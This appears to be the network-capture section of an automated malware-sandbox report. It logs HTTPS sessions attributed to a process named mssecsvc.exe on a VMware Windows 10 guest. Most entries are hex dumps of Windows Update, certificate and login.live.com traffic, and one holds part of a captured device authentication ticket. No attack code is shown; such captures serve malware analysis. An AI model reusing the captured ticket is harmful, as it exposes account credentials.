2022-07-21 02:35:44 UTC	9282	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.6	52685	20.54.89.106	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:45 UTC	9285	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-21 02:35:45 UTC	9286	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 98c43a01-1269-471a-ac2e-11ccce588272 MS-RequestId: 83808cc9-274d-4860-bbc4-6770ad53df68 MS-CV: 8VG1U0UoR0iR+CHm.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Jul 2022 02:35:45 GMT Connection: close Content-Length: 35877
2022-07-21 02:35:45 UTC	9286	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-21 02:35:45 UTC	9302	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-21 02:35:45 UTC	9318	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.6	52689	40.125.122.176	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:46 UTC	9321	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-21 02:35:46 UTC	9322	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: db10c4aa-b100-4f40-8d0a-0b71a7427f29 MS-RequestId: 1534178b-40c3-4e0e-be81-ebecb2e2a101 MS-CV: tMZ9kCV9ek+GwArR.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Jul 2022 02:35:45 GMT Connection: close Content-Length: 35877
2022-07-21 02:35:46 UTC	9322	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-21 02:35:46 UTC	9338	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-21 02:35:46 UTC	9354	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.6	50201	40.126.31.67	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:34:22 UTC	115	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4796 Host: login.live.com
2022-07-21 02:34:22 UTC	115	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-21 02:34:22 UTC	152	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 21 Jul 2022 02:33:22 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: c3618782-f701-47bb-9e11-32e18113579a PPServer: PPV: 30 H: BL02PF4EEE01DFC V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Jul 2022 02:34:21 GMT Connection: close Content-Length: 11093
2022-07-21 02:34:22 UTC	153	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.6	52743	20.199.120.85	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:46 UTC	9357	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 61 36 35 66 39 30 32 63 33 31 61 34 64 37 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 2a65f902c31a4d7b
2022-07-21 02:35:46 UTC	9357	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-21 02:35:46 UTC	9357	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 61 36 35 66 39 30 32 63 33 31 61 34 64 37 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 57 62 58 4a 45 4f 36 54 72 54 58 7a 4a 59 75 53 61 49 68 72 2f 46 74 4f 55 2b 32 72 45 4b 44 63 39 58 42 6a 47 78 50 66 4e 66 69 2b 4f 31 69 55 4a 79 61 5a 52 4d 31 56 4b 75 6f 32 51 66 44 7a 46 4f 67 6b 76 76 45 78 78 58 47 72 66 36 70 31 46 65 72 63 73 37 79 6f 47 57 37 53 4d 43 6e 49 66 42 61 4c 37 59 2b 73 33 2f 46 49 4e 4f 56 6f 47 37 6c 75 59 62 79 35 2b 44 4c 6f 4f 2b 42 6c 50 55 48 36 48 61 54 Data Ascii: ATH 2 CON\DEVICE 1014Context: 2a65f902c31a4d7b<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVWbXJEO6TrTXzJYuSaIhr/FtOU+2rEKDc9XBjGxPfNfi+O1iUJyaZRM1VKuo2QfDzFOgkvvExxXGrf6p1Fercs7yoGW7SMCnIfBaL7Y+s3/FINOVoG7luYby5+DLoO+BlPUH6HaT
2022-07-21 02:35:46 UTC	9358	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 61 36 35 66 39 30 32 63 33 31 61 34 64 37 62 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 2a65f902c31a4d7b
2022-07-21 02:35:46 UTC	9358	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-21 02:35:46 UTC	9359	IN	Data Raw: 4d 53 2d 43 56 3a 20 57 5a 6c 47 30 46 53 31 78 6b 32 59 6f 68 59 4c 72 70 69 75 32 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: WZlG0FS1xk2YohYLrpiu2A.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.6	52752	52.152.110.14	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:47 UTC	9359	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-21 02:35:47 UTC	9359	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 15792b99-a1b6-4774-9813-1e66fbdabfc1 MS-RequestId: f8dcef80-963e-420d-ae59-45650c00cf04 MS-CV: mkeQ4Qv5tUaOTeS6.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Jul 2022 02:35:46 GMT Connection: close Content-Length: 35877
2022-07-21 02:35:47 UTC	9359	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-21 02:35:47 UTC	9375	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-21 02:35:47 UTC	9391	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.6	52803	20.54.89.106	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:48 UTC	9394	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-21 02:35:48 UTC	9395	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 MS-CorrelationId: 98c43a01-1269-471a-ac2e-11ccce588272 MS-RequestId: 83808cc9-274d-4860-bbc4-6770ad53df68 MS-CV: 8VG1U0UoR0iR+CHm.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Jul 2022 02:35:48 GMT Connection: close Content-Length: 35877
2022-07-21 02:35:48 UTC	9395	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
